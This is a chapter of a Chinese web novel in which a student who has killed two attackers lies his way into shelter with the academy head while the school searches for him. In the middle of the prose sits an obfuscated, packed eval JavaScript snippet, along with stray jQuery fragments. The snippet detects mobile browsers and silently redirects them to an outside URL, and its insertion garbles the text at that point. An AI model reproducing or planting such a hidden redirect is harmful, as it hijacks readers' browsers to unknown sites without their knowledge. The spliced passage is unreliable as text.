16. 我的学生失踪了!

作品:《我给太监爹摔盆了(科举)

    要问听到动静的杨玄睁眼就看见唐林这个熟人,还拿着一把匕首!


    外加杨灵韵滚过草地一身皱巴的衣衫,一双哭红过的眼睛。


    尤为醒目是她雪白脖颈处,因为匕首相抵而成的红痕,看得他老人家很惊悚。


    唐林唰的将匕首藏在身后,摆出自认为最亲和的笑容,又成了书院里那个乖巧上进的学子。


    “唐林见过老先生--”


    杨玄嘴角抽搐了一下,胡须抖动,心里呵呵,没想到啊,啧啧啧,你这小子还有变脸的本事。


    “唐林,你可真让老夫刮目相看啊--


    带刀闯入,欺压民女,单凭这,牢狱才该是你的归宿。


    枉费你这些时日通读圣贤书,都学了什么!”


    一山还有一山高,杨玄扣帽子利索,唐林要用什么应对,突然他放声悲切,却不耽误他为自己开口辩驳。


    “若无匕首防身,小子早就一命呜呼,哪里还能被老先生抓住机会,无凭无据空口白牙强加了罪名!”


    “老先生玩这一手恃强凌弱,诽谤我这般身世孤苦无依之人!


    对那横行霸道,草菅人命的权贵倒是装的耳聋眼瞎,纵容的狠!”


    当他唐林不会扣帽子吗!


    呵呵,唐林不信鹿鸣书院,真就一点都不知晓大皇孙等人的霸权恶行。


    这位老先生既然隐世在书院后山,也能往来书院之内,必定与书院瓜葛不小。


    他老人家有这清闲钓鱼的功夫,为何不去义正言辞讨伐那些霸权者,难不成也是阿谀奉承之辈。


    “说老夫纵容权贵横行霸道草菅人命,你这小子何凭何据口出狂言!


    今日不说明白,别想离开这草庐。”


    “那老先生又有何凭何据,定小子罪名!


    小子今日被歹人带至后山欲行迫害,若非这把匕首,我如何能活命!


    老先生不做查实,倒头就泼小子一身污水。


    呵呵,老先生自己,又学明白了什么圣人言!”


    杨玄还是头一次碰上,敢与他硬碰硬的小子,震惊大过了愤怒。


    因为唐林说歹人害他,这是怎么回事?


    “眼下,小子真不知道该不该进学了。


    第一日入书院就遇上同室操戈,被牵扯进去忌恨加害,幸好书院公正,护我伸张公道。


    本想着上进读书来回报,却成了他人笑料赌资,直到老先生来旁听那日开始,小子就被人半道盯上了!


    扬言要我自折右手,老先生应该明白我若是伤了右手,那三日后的升学考可能执笔作答!”


    杨玄紧皱眉头,神情黑沉,他已经明白了唐林为何遭遇。


    “我自是不从,本以为此事作罢。


    今日正想下山补充一些笔墨纸张,却不想被歹人胁迫至后山,要用这山上的石头砸折了小子的手!”


    唐林故作悲愤填膺,身手瑟瑟颤抖,一双眼瞳里盛满了冷意。


    “要不是用这把匕首,暂时划伤震慑了歹人,我得以脱险,小子的手真就废了。


    且听其猖狂所言,背后主使之人身份权势滔天,小子注定了无法伸张!


    唯有险中求生,慌不择路逃跑,这才冲撞了这位姑娘,对不住--”


    本来心生怜悯,觉着唐林可怜的杨灵韵突然被提到,激灵了一下。


    他是不是说漏了一些,比如用匕首顶着她的脖颈,眼中的狠厉可不是虚假。


    但看唐林这副作态,或许他方才那般是惊怒到了,被逼所迫。


    女孩子的心总是软软的,杨灵韵已经说服自己。


    眼见杨灵韵没反驳,唐林舒了口气,更是有理占据上风,顺杆子往上爬,质问道。


    “明明是老先生不辨黑白,冤枉了小子--”


    说着,换上一副水盈盈的眼珠子控诉似的盯着杨玄,要多委屈。


    “好,是老夫先入为主,眼拙愚见,这就与你赔礼道歉。”


    杨玄也是洒脱的性子,并未因为面子将错就错,不肯改正。


    唐林正等着杨玄心生有愧,好让他接下来顺利落榻在此三日。


    “那这三日就叨扰了。”


    啥意思?杨玄瞪大两颗眼珠子,望向唐林,他字倒是都认识,可连起来咋就听不懂意思。


    “对了,我住哪里?”


    唐林一脸坦然的面对杨玄,见他还没变化,又转头望向最心软的杨灵韵。


    “姑娘,带我去客厢吧。”


    杨灵韵其实也听懵了,客房?哦,她还真晕乎乎的打算带唐林过去,却不想身后突然炸起一声大吼。


    “臭小子,站住!谁允许了你住这。”


    “老先生既已污蔑了小子,眼下也要见死不救吗!


    那歹人或还在外头搜寻小子,小子出去不是自投罗网。


    再说小子若是全须全尾回去,那幕后主谋必定要继续加害小子,难道老先生想送小子去死!”


    滚下山坡的两具尸体:别以为我们死了说不了话,你唐林就可以随意扣屎盆子,当心我们气得真诈尸!


    什么话都让你说了!好小子,扣顶大帽子给他,杨玄气呼呼,胡须一跳一跳。


    所以......最抓麻的杨灵韵一颗头颅转来转去,她到底听谁的?


    让不让人住,舅公你倒是说句话。


    眼皮子底下发生这种伤人性命,断人前程的恶行,确实是鹿鸣书院与他这个山长的过失之罪。


    让一个学子害怕到不敢进学,杨玄极度自责愧疚,当然还有怒火,有些人啊当真以为他杨玄老了,不中用了。


    杨玄默认,唐林自然住进了草庐,草庐里现成的笔墨都有,他这三日侧重练字,顺道默写温习再好不过。


    岂不知书院里突然消失了三个学子,混乱成了一团。


    “都找过了吗!”


    “这人会去哪里?”


    这个问题大皇孙也在思考,派出去做事的两人没回来,包括那个唐林一起。


    所以事情办没办成,大皇孙很恼火。


    不过,随着书院大肆找人,连个影子都找不到后,他就安心下来,至于那两个狗腿子的死活值得他在乎吗。


    “第二天了,人还没有找到,不行,赶紧上报山长,报官!”


    刘夫子是最着急的,他最看好的唐林不见了,眼瞅着后天就到了升学考,要是出了什么差错会是他一生的心结。


    不能再等了,刘夫子冲向了后山,着急忙慌下还摔了,可他顾不得悲戚大喊。


    “山长!我的学生失踪了--”


    杨灵韵刚给他开门,就被冲撞开了。


    刘夫子像是一道疾风,撞向藤椅上的杨玄,失了分寸抓人就走。


    “松手!快松手!刘大板子,你个老学究手劲倒不小啊。”


    杨玄跟他对抗,双手成影啪啪啪,狠狠拍打刘夫子抓着他袍子的手背,两老头子角斗起来,可热闹了。


    呦,有好戏可看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601627|155438||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !唐林兴致高昂的探头观赏,他还吆喝起来。


    “刘夫子加油!”


    “停手!你个老学究眼睛不好使了,你的宝贝学生不就在那,看咱俩的好戏呢!”


    杨玄气啊,唐林吃他的喝他的,用着他的笔墨纸砚,加油就胳膊肘外拐,这臭小子该打一顿。


    不是,杨玄自己没发现,他的身份暴露了吗?


    唐林月牙弯弯的眼底终于有一丝了然,鹿鸣书院山长躲在后山之中,可真是将摆烂进行到底。


    如此说来他一个山长,庇护自己书院学子的安危,合情合理,唐林越发理直气壮。


    那张从窗口探望的人脸,刘夫子自然认得,是唐林!


    可他怎么会在后山,会与山长杨玄在一处。


    莫非这老毒舌表里不一,嘴里嫌弃贬得一文不值,其实私下里,早就屁颠颠的收下了唐林,为他亲传弟子!


    你个老毒舌骚操作挺会的吗,刘夫子神色古怪打量起杨玄。


    啧啧啧,古有金屋藏娇,眼下这又算什么,草庐藏秀儿吗。


    刘夫子责怪怨念的眼神狠狠撇了一眼杨玄,立即甩掉这根老黄瓜,奔向他最忧心的学生。


    “学生之过,让夫子担心了。”


    唐林先行迎上去,拱手深深一拜,他没想到刘夫子会这般关心自己。


    “你既来了后山,为何不先告知一声,可知晓书院找得急慌!”


    刘夫子确定了唐林无事安好,终是问起了缘由。


    按道理被山长收为弟子,这种喜事普天同乐才是,为何隐秘偷摸。


    “夫子,学生是被歹人所害,才沦落至后山!


    幕后指使要折了学生的右手,夫子也能猜到了吧,他是想让我参加不了升学考!”


    唐林的据实相告,刘夫子显然被惊吓到了,立即抓着唐林上下查看。


    “这简直目无王法了!”


    刘夫子很愤怒,朗朗乾坤,圣人文思之地,有人要断送自己最好看学子的前途。


    “王法又是握在谁家手中,夫子也算蒙中了一二。”


    “你的意思……皇……嘶,那暂时不要回书院!”


    刘夫子不傻,元宋朝的王法由他赵氏书写,都说天子犯法与庶民同罪,但这只是一种理想主义。


    王权凌驾在法之上,而法只是为了约束掌控普通人罢了。


    就看这大皇孙可以无视国法,凭着权势高高在上,草菅人命的行事姿态,就明白了几分。


    “学生也是这么想的,这三日正好躲在山长这里。


    一来避开是非,二来后山清幽,温习效果更好,三来还有山长这等大才可请教。”


    唐林如今一口一个山长叫的理直气壮,杨玄有些别扭的哼了一声。


    刘夫子闻言古怪一笑,虽然有点遗憾并非是他所设想的收弟子。


    但日久生情,这两人先相处起来联络感情,早点适应也好。


    “唐林是找着了,可还有两名甲班学子毫无音讯,要不还是报官吧?”


    “夫子是说另有两名学子失踪!


    莫非就是那加害于我的歹人,正好也是两人。


    我虽不认识,但见其腰间佩挂之物正是学牌。


    他们没回书院!


    难道是因为,没有完成幕后主使所派任务,怕被其迁怒责罚,故而躲藏在何处避风头?”


    唐林这一口假话说得正当,不见一丝紧张,那山坡草皮下的两具尸体会被发现吗!